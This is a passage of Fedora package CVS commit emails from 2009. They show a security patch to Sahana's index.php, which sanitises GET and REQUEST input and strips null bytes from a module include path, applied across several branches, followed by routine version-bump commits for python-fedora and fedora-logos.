+                        $_GET[$key]=$val;
+                }
+        }
 
 	foreach ($_POST as $key=>$val){
 		if(is_array($_POST[$key])==true){
@@ -164,6 +184,9 @@ function shn_main_front_controller()
 	// check the users access permissions for this action
 	$module_function = 'shn_'.$stream_.$module.'_'.$action;
 
+	// fixes the security vulnerability associated with null characters in the $module string
+	$module = str_replace("\0", "", $module);
+
 	// include the correct module file based on action and module
 	$module_file = $APPROOT.'mod/'.$module.'/main.inc';
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/sahana/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	1 Apr 2009 17:50:04 -0000	1.2
+++ import.log	22 Oct 2009 02:18:17 -0000	1.3
@@ -1,2 +1,3 @@
 sahana-0_6_2_2-3_fc10:F-11:sahana-0.6.2.2-3.fc10.src.rpm:1238605116
 sahana-0_6_2_2-4_fc10:F-11:sahana-0.6.2.2-4.fc10.src.rpm:1238608112
+sahana-0_6_2_2-6_fc11:F-11:sahana-0.6.2.2-6.fc11.src.rpm:1256177960


Index: sahana.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sahana/F-11/sahana.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sahana.spec	1 Apr 2009 17:50:04 -0000	1.2
+++ sahana.spec	22 Oct 2009 02:18:18 -0000	1.3
@@ -3,7 +3,7 @@
 
 Name: sahana
 Version: 0.6.2.2
-Release: 4%{?dist}
+Release: 6%{?dist}
 Summary: Sahana is a free open source disaster management application
 Group:	Applications/Publishing
 License: LGPLv2+
@@ -11,6 +11,7 @@ URL: http://www.sahana.lk/
 Source0: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz 
 #URL for source is http://code.zikula.org/core/downloads/99
 Source1: sahana.conf
+Patch0:  sahana.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: dos2unix
@@ -38,7 +39,7 @@ semanage fcontext -a -t httpd_var_run_t 
 
 %prep
 %setup -qn %{name} 
-
+%patch0 -p0
 %build
 #nothing really for this section but rpmbuild complains if build is empty
 
@@ -108,6 +109,12 @@ symlinks -crs /usr/share/sahana >/dev/nu
 
 
 %changelog
+* Wed Oct 21 2009 David Nalley <david at gnsa.us> 0.6.2.2-6
+- fixed security issue noted in bz 530255
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.2.2-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Apr 01 2009 David Nalley <david at gnsa.us> 0.6.2.2-4
 - removed -executable predicate from find so it will build on EL-5 and F-9
 * Tue Mar 31 2009 David Nalley <david at gnsa.us> 0.6.2.2-3



From ke4qqq at fedoraproject.org  Thu Oct 22 02:19:10 2009
From: ke4qqq at fedoraproject.org (David Nalley)
Date: Thu, 22 Oct 2009 02:19:10 +0000 (UTC)
Subject: rpms/sahana/F-12 sahana.patch, NONE, 1.1 import.log, 1.2,
	1.3 sahana.spec, 1.3, 1.4
Message-ID: <20091022021910.F12C811C00E8@cvs1.fedora.phx.redhat.com>

Author: ke4qqq

Update of /cvs/pkgs/rpms/sahana/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4401/F-12

Modified Files:
	import.log sahana.spec 
Added Files:
	sahana.patch 
Log Message:
* Wed Oct 21 2009 David Nalley <david at gnsa.us> 0.6.2.2-6
- fixed security issue noted in bz 530255



sahana.patch:
 index.php |   25 ++++++++++++++++++++++++-
 1 file changed, 24 insertions(+), 1 deletion(-)

--- NEW FILE sahana.patch ---
--- www/index.php	2007-12-10 05:04:15.000000000 -0500
+++ www/index.php	2009-10-21 21:40:00.823878649 -0400
@@ -92,11 +92,31 @@ if (!file_exists($APPROOT.'conf/sysconf.
 
 }
 
-// === cleans the GET and POST ===
+// === cleans the GET and POST and REQUEST ===
 function shn_main_clean_getpost()
 {
 
 	$purifier = new HTMLPurifier();
+	
+        foreach ($_REQUEST as $key=>$val){
+                if(is_array($_REQUEST[$key])==true){
+                
+                }else{
+                        $val = $purifier->purify($val);
+                        $val=escapeHTML($val);
+                        $_REQUEST[$key]=$val;
+                }
+        }        
+
+        foreach ($_GET as $key=>$val){
+                if(is_array($_GET[$key])==true){
+                
+                }else{
+                        $val = $purifier->purify($val);
+                        $val=escapeHTML($val);
+                        $_GET[$key]=$val;
+                }
+        }
 
 	foreach ($_POST as $key=>$val){
 		if(is_array($_POST[$key])==true){
@@ -164,6 +184,9 @@ function shn_main_front_controller()
 	// check the users access permissions for this action
 	$module_function = 'shn_'.$stream_.$module.'_'.$action;
 
+	// fixes the security vulnerability associated with null characters in the $module string
+	$module = str_replace("\0", "", $module);
+
 	// include the correct module file based on action and module
 	$module_file = $APPROOT.'mod/'.$module.'/main.inc';
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/sahana/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	1 Apr 2009 17:39:57 -0000	1.2
+++ import.log	22 Oct 2009 02:19:10 -0000	1.3
@@ -1,2 +1,3 @@
 sahana-0_6_2_2-3_fc10:HEAD:sahana-0.6.2.2-3.fc10.src.rpm:1238604801
 sahana-0_6_2_2-4_fc10:HEAD:sahana-0.6.2.2-4.fc10.src.rpm:1238607475
+sahana-0_6_2_2-6_fc11:F-12:sahana-0.6.2.2-6.fc11.src.rpm:1256178014


Index: sahana.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sahana/F-12/sahana.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sahana.spec	27 Jul 2009 03:45:41 -0000	1.3
+++ sahana.spec	22 Oct 2009 02:19:10 -0000	1.4
@@ -3,7 +3,7 @@
 
 Name: sahana
 Version: 0.6.2.2
-Release: 5%{?dist}
+Release: 6%{?dist}
 Summary: Sahana is a free open source disaster management application
 Group:	Applications/Publishing
 License: LGPLv2+
@@ -11,6 +11,7 @@ URL: http://www.sahana.lk/
 Source0: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz 
 #URL for source is http://code.zikula.org/core/downloads/99
 Source1: sahana.conf
+Patch0:  sahana.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: dos2unix
@@ -38,7 +39,7 @@ semanage fcontext -a -t httpd_var_run_t 
 
 %prep
 %setup -qn %{name} 
-
+%patch0 -p0
 %build
 #nothing really for this section but rpmbuild complains if build is empty
 
@@ -108,6 +109,9 @@ symlinks -crs /usr/share/sahana >/dev/nu
 
 
 %changelog
+* Wed Oct 21 2009 David Nalley <david at gnsa.us> 0.6.2.2-6
+- fixed security issue noted in bz 530255
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.2.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ke4qqq at fedoraproject.org  Thu Oct 22 02:19:52 2009
From: ke4qqq at fedoraproject.org (David Nalley)
Date: Thu, 22 Oct 2009 02:19:52 +0000 (UTC)
Subject: rpms/sahana/EL-5 sahana.patch, NONE, 1.1 import.log, 1.2,
	1.3 sahana.spec, 1.2, 1.3
Message-ID: <20091022021952.E847F11C00E8@cvs1.fedora.phx.redhat.com>

Author: ke4qqq

Update of /cvs/pkgs/rpms/sahana/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4607/EL-5

Modified Files:
	import.log sahana.spec 
Added Files:
	sahana.patch 
Log Message:
* Wed Oct 21 2009 David Nalley <david at gnsa.us> 0.6.2.2-6
- fixed security issue noted in bz 530255



sahana.patch:
 index.php |   25 ++++++++++++++++++++++++-
 1 file changed, 24 insertions(+), 1 deletion(-)

--- NEW FILE sahana.patch ---
--- www/index.php	2007-12-10 05:04:15.000000000 -0500
+++ www/index.php	2009-10-21 21:40:00.823878649 -0400
@@ -92,11 +92,31 @@ if (!file_exists($APPROOT.'conf/sysconf.
 
 }
 
-// === cleans the GET and POST ===
+// === cleans the GET and POST and REQUEST ===
 function shn_main_clean_getpost()
 {
 
 	$purifier = new HTMLPurifier();
+	
+        foreach ($_REQUEST as $key=>$val){
+                if(is_array($_REQUEST[$key])==true){
+                
+                }else{
+                        $val = $purifier->purify($val);
+                        $val=escapeHTML($val);
+                        $_REQUEST[$key]=$val;
+                }
+        }        
+
+        foreach ($_GET as $key=>$val){
+                if(is_array($_GET[$key])==true){
+                
+                }else{
+                        $val = $purifier->purify($val);
+                        $val=escapeHTML($val);
+                        $_GET[$key]=$val;
+                }
+        }
 
 	foreach ($_POST as $key=>$val){
 		if(is_array($_POST[$key])==true){
@@ -164,6 +184,9 @@ function shn_main_front_controller()
 	// check the users access permissions for this action
 	$module_function = 'shn_'.$stream_.$module.'_'.$action;
 
+	// fixes the security vulnerability associated with null characters in the $module string
+	$module = str_replace("\0", "", $module);
+
 	// include the correct module file based on action and module
 	$module_file = $APPROOT.'mod/'.$module.'/main.inc';
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/sahana/EL-5/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	1 Apr 2009 17:51:17 -0000	1.2
+++ import.log	22 Oct 2009 02:19:52 -0000	1.3
@@ -1,2 +1,3 @@
 sahana-0_6_2_2-3_fc10:EL-5:sahana-0.6.2.2-3.fc10.src.rpm:1238605197
 sahana-0_6_2_2-4_fc10:EL-5:sahana-0.6.2.2-4.fc10.src.rpm:1238608186
+sahana-0_6_2_2-6_fc11:EL-5:sahana-0.6.2.2-6.fc11.src.rpm:1256178063


Index: sahana.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sahana/EL-5/sahana.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sahana.spec	1 Apr 2009 17:51:17 -0000	1.2
+++ sahana.spec	22 Oct 2009 02:19:52 -0000	1.3
@@ -3,7 +3,7 @@
 
 Name: sahana
 Version: 0.6.2.2
-Release: 4%{?dist}
+Release: 6%{?dist}
 Summary: Sahana is a free open source disaster management application
 Group:	Applications/Publishing
 License: LGPLv2+
@@ -11,6 +11,7 @@ URL: http://www.sahana.lk/
 Source0: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz 
 #URL for source is http://code.zikula.org/core/downloads/99
 Source1: sahana.conf
+Patch0:  sahana.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 BuildRequires: dos2unix
@@ -38,7 +39,7 @@ semanage fcontext -a -t httpd_var_run_t 
 
 %prep
 %setup -qn %{name} 
-
+%patch0 -p0
 %build
 #nothing really for this section but rpmbuild complains if build is empty
 
@@ -108,6 +109,12 @@ symlinks -crs /usr/share/sahana >/dev/nu
 
 
 %changelog
+* Wed Oct 21 2009 David Nalley <david at gnsa.us> 0.6.2.2-6
+- fixed security issue noted in bz 530255
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.2.2-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Apr 01 2009 David Nalley <david at gnsa.us> 0.6.2.2-4
 - removed -executable predicate from find so it will build on EL-5 and F-9
 * Tue Mar 31 2009 David Nalley <david at gnsa.us> 0.6.2.2-3



From toshio at fedoraproject.org  Thu Oct 22 02:42:31 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu, 22 Oct 2009 02:42:31 +0000 (UTC)
Subject: rpms/python-fedora/devel .cvsignore, 1.35, 1.36 python-fedora.spec, 
	1.45, 1.46 sources, 1.36, 1.37
Message-ID: <20091022024231.7777211C00E8@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-fedora/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7914

Modified Files:
	.cvsignore python-fedora.spec sources 
Log Message:

* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
- New release 0.3.16.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/devel/.cvsignore,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- .cvsignore	6 Aug 2009 17:46:12 -0000	1.35
+++ .cvsignore	22 Oct 2009 02:42:31 -0000	1.36
@@ -1 +1 @@
-python-fedora-0.3.15.tar.gz
+python-fedora-0.3.16.tar.gz


Index: python-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/devel/python-fedora.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- python-fedora.spec	6 Aug 2009 17:46:12 -0000	1.45
+++ python-fedora.spec	22 Oct 2009 02:42:31 -0000	1.46
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-fedora
-Version:        0.3.15
+Version:        0.3.16
 Release:        1%{?dist}
 Summary:        Python modules for talking to Fedora Infrastructure Services
 
@@ -65,6 +65,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/*
 
 %changelog
+* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
+- New release 0.3.16.
+
 * Mon Aug 06 2009 Ricky Zhou <ricky at fedoraproject.org> - 0.3.15-1
 - New release 0.3.15.
 - Relicensed to LGPLv2+


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/devel/sources,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- sources	6 Aug 2009 17:46:12 -0000	1.36
+++ sources	22 Oct 2009 02:42:31 -0000	1.37
@@ -1 +1 @@
-78dace94c63ee7d1adfc5d3c0f0bd326  python-fedora-0.3.15.tar.gz
+09e8a9039fd9e2f3d4f4c4b55f14b421  python-fedora-0.3.16.tar.gz



From toshio at fedoraproject.org  Thu Oct 22 02:49:52 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu, 22 Oct 2009 02:49:52 +0000 (UTC)
Subject: rpms/python-fedora/EL-5 .cvsignore, 1.25, 1.26 python-fedora.spec, 
	1.28, 1.29 sources, 1.26, 1.27
Message-ID: <20091022024952.1C4D211C00E8@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-fedora/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9865/EL-5

Modified Files:
	.cvsignore python-fedora.spec sources 
Log Message:

* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
- New release 0.3.16.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/EL-5/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	6 Aug 2009 17:46:11 -0000	1.25
+++ .cvsignore	22 Oct 2009 02:49:51 -0000	1.26
@@ -1 +1 @@
-python-fedora-0.3.15.tar.gz
+python-fedora-0.3.16.tar.gz


Index: python-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/EL-5/python-fedora.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- python-fedora.spec	6 Aug 2009 17:46:12 -0000	1.28
+++ python-fedora.spec	22 Oct 2009 02:49:51 -0000	1.29
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-fedora
-Version:        0.3.15
+Version:        0.3.16
 Release:        1%{?dist}
 Summary:        Python modules for talking to Fedora Infrastructure Services
 
@@ -65,6 +65,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/*
 
 %changelog
+* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
+- New release 0.3.16.
+
 * Mon Aug 06 2009 Ricky Zhou <ricky at fedoraproject.org> - 0.3.15-1
 - New release 0.3.15.
 - Relicensed to LGPLv2+
@@ -72,9 +75,6 @@ rm -rf %{buildroot}
 * Mon Jul 27 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.14-1
 - New release 0.3.14.
 
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.13.1-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
-
 * Sat Jun 13 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.13.1-1
 - Merge 0.3.12.1 and 0.3.13 releases together.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/EL-5/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	6 Aug 2009 17:46:12 -0000	1.26
+++ sources	22 Oct 2009 02:49:51 -0000	1.27
@@ -1 +1 @@
-78dace94c63ee7d1adfc5d3c0f0bd326  python-fedora-0.3.15.tar.gz
+09e8a9039fd9e2f3d4f4c4b55f14b421  python-fedora-0.3.16.tar.gz



From toshio at fedoraproject.org  Thu Oct 22 02:49:52 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu, 22 Oct 2009 02:49:52 +0000 (UTC)
Subject: rpms/python-fedora/F-11 .cvsignore, 1.34, 1.35 python-fedora.spec, 
	1.44, 1.45 sources, 1.35, 1.36
Message-ID: <20091022024952.7570811C00E8@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-fedora/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9865/F-11

Modified Files:
	.cvsignore python-fedora.spec sources 
Log Message:

* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
- New release 0.3.16.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/F-11/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	6 Aug 2009 17:46:12 -0000	1.34
+++ .cvsignore	22 Oct 2009 02:49:52 -0000	1.35
@@ -1 +1 @@
-python-fedora-0.3.15.tar.gz
+python-fedora-0.3.16.tar.gz


Index: python-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/F-11/python-fedora.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- python-fedora.spec	6 Aug 2009 17:46:12 -0000	1.44
+++ python-fedora.spec	22 Oct 2009 02:49:52 -0000	1.45
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-fedora
-Version:        0.3.15
+Version:        0.3.16
 Release:        1%{?dist}
 Summary:        Python modules for talking to Fedora Infrastructure Services
 
@@ -65,6 +65,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/*
 
 %changelog
+* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
+- New release 0.3.16.
+
 * Mon Aug 06 2009 Ricky Zhou <ricky at fedoraproject.org> - 0.3.15-1
 - New release 0.3.15.
 - Relicensed to LGPLv2+
@@ -72,9 +75,6 @@ rm -rf %{buildroot}
 * Mon Jul 27 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.14-1
 - New release 0.3.14.
 
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.13.1-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
-
 * Sat Jun 13 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.13.1-1
 - Merge 0.3.12.1 and 0.3.13 releases together.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/F-11/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	6 Aug 2009 17:46:12 -0000	1.35
+++ sources	22 Oct 2009 02:49:52 -0000	1.36
@@ -1 +1 @@
-78dace94c63ee7d1adfc5d3c0f0bd326  python-fedora-0.3.15.tar.gz
+09e8a9039fd9e2f3d4f4c4b55f14b421  python-fedora-0.3.16.tar.gz



From toshio at fedoraproject.org  Thu Oct 22 02:49:52 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu, 22 Oct 2009 02:49:52 +0000 (UTC)
Subject: rpms/python-fedora/F-10 .cvsignore, 1.34, 1.35 python-fedora.spec, 
	1.38, 1.39 sources, 1.35, 1.36
Message-ID: <20091022024952.3ED6C11C00E8@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-fedora/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9865/F-10

Modified Files:
	.cvsignore python-fedora.spec sources 
Log Message:

* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
- New release 0.3.16.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/F-10/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	6 Aug 2009 17:46:12 -0000	1.34
+++ .cvsignore	22 Oct 2009 02:49:52 -0000	1.35
@@ -1 +1 @@
-python-fedora-0.3.15.tar.gz
+python-fedora-0.3.16.tar.gz


Index: python-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/F-10/python-fedora.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- python-fedora.spec	6 Aug 2009 17:46:12 -0000	1.38
+++ python-fedora.spec	22 Oct 2009 02:49:52 -0000	1.39
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-fedora
-Version:        0.3.15
+Version:        0.3.16
 Release:        1%{?dist}
 Summary:        Python modules for talking to Fedora Infrastructure Services
 
@@ -65,6 +65,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/*
 
 %changelog
+* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
+- New release 0.3.16.
+
 * Mon Aug 06 2009 Ricky Zhou <ricky at fedoraproject.org> - 0.3.15-1
 - New release 0.3.15.
 - Relicensed to LGPLv2+
@@ -72,9 +75,6 @@ rm -rf %{buildroot}
 * Mon Jul 27 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.14-1
 - New release 0.3.14.
 
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.13.1-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
-
 * Sat Jun 13 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.13.1-1
 - Merge 0.3.12.1 and 0.3.13 releases together.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/F-10/sources,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- sources	6 Aug 2009 17:46:12 -0000	1.35
+++ sources	22 Oct 2009 02:49:52 -0000	1.36
@@ -1 +1 @@
-78dace94c63ee7d1adfc5d3c0f0bd326  python-fedora-0.3.15.tar.gz
+09e8a9039fd9e2f3d4f4c4b55f14b421  python-fedora-0.3.16.tar.gz



From toshio at fedoraproject.org  Thu Oct 22 02:49:52 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu, 22 Oct 2009 02:49:52 +0000 (UTC)
Subject: rpms/python-fedora/F-12 .cvsignore, 1.35, 1.36 python-fedora.spec, 
	1.45, 1.46 sources, 1.36, 1.37
Message-ID: <20091022024952.A3BA411C00E8@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-fedora/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9865/F-12

Modified Files:
	.cvsignore python-fedora.spec sources 
Log Message:

* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
- New release 0.3.16.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/F-12/.cvsignore,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- .cvsignore	6 Aug 2009 17:46:12 -0000	1.35
+++ .cvsignore	22 Oct 2009 02:49:52 -0000	1.36
@@ -1 +1 @@
-python-fedora-0.3.15.tar.gz
+python-fedora-0.3.16.tar.gz


Index: python-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/F-12/python-fedora.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- python-fedora.spec	6 Aug 2009 17:46:12 -0000	1.45
+++ python-fedora.spec	22 Oct 2009 02:49:52 -0000	1.46
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-fedora
-Version:        0.3.15
+Version:        0.3.16
 Release:        1%{?dist}
 Summary:        Python modules for talking to Fedora Infrastructure Services
 
@@ -65,6 +65,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/*
 
 %changelog
+* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
+- New release 0.3.16.
+
 * Mon Aug 06 2009 Ricky Zhou <ricky at fedoraproject.org> - 0.3.15-1
 - New release 0.3.15.
 - Relicensed to LGPLv2+


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/F-12/sources,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- sources	6 Aug 2009 17:46:12 -0000	1.36
+++ sources	22 Oct 2009 02:49:52 -0000	1.37
@@ -1 +1 @@
-78dace94c63ee7d1adfc5d3c0f0bd326  python-fedora-0.3.15.tar.gz
+09e8a9039fd9e2f3d4f4c4b55f14b421  python-fedora-0.3.16.tar.gz



From toshio at fedoraproject.org  Thu Oct 22 02:51:21 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Thu, 22 Oct 2009 02:51:21 +0000 (UTC)
Subject: rpms/python-fedora/F-12 python-fedora.spec,1.46,1.47
Message-ID: <20091022025121.7D7B111C0267@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/python-fedora/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10334

Modified Files:
	python-fedora.spec 
Log Message:

* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1.1
- Forgot to refresh the common dir.



Index: python-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-fedora/F-12/python-fedora.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- python-fedora.spec	22 Oct 2009 02:49:52 -0000	1.46
+++ python-fedora.spec	22 Oct 2009 02:51:19 -0000	1.47
@@ -2,7 +2,7 @@
 
 Name:           python-fedora
 Version:        0.3.16
-Release:        1%{?dist}
+Release:        1%{?dist}.1
 Summary:        Python modules for talking to Fedora Infrastructure Services
 
 Group:          Development/Languages
@@ -65,6 +65,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/*
 
 %changelog
+* Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1.1
+- Forgot to refresh the common dir.
+
 * Wed Oct 21 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.16-1
 - New release 0.3.16.
 



From spot at fedoraproject.org  Thu Oct 22 03:14:35 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 22 Oct 2009 03:14:35 +0000 (UTC)
Subject: rpms/fedora-logos/F-12 .cvsignore, 1.88, 1.89 fedora-logos.spec,
	1.132, 1.133 sources, 1.102, 1.103
Message-ID: <20091022031435.20A8811C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/fedora-logos/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14376/F-12

Modified Files:
	.cvsignore fedora-logos.spec sources 
Log Message:
12.0.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/.cvsignore,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- .cvsignore	1 Oct 2009 17:25:50 -0000	1.88
+++ .cvsignore	22 Oct 2009 03:14:34 -0000	1.89
@@ -1 +1 @@
-fedora-logos-12.0.0.tar.bz2
+fedora-logos-12.0.1.tar.bz2


Index: fedora-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/fedora-logos.spec,v
retrieving revision 1.132
retrieving revision 1.133
diff -u -p -r1.132 -r1.133
--- fedora-logos.spec	1 Oct 2009 17:25:50 -0000	1.132
+++ fedora-logos.spec	22 Oct 2009 03:14:34 -0000	1.133
@@ -1,6 +1,6 @@
 Name: fedora-logos
 Summary: Fedora-related icons and pictures
-Version: 12.0.0
+Version: 12.0.1
 Release: 1%{?dist}
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/fedora-logos.git/
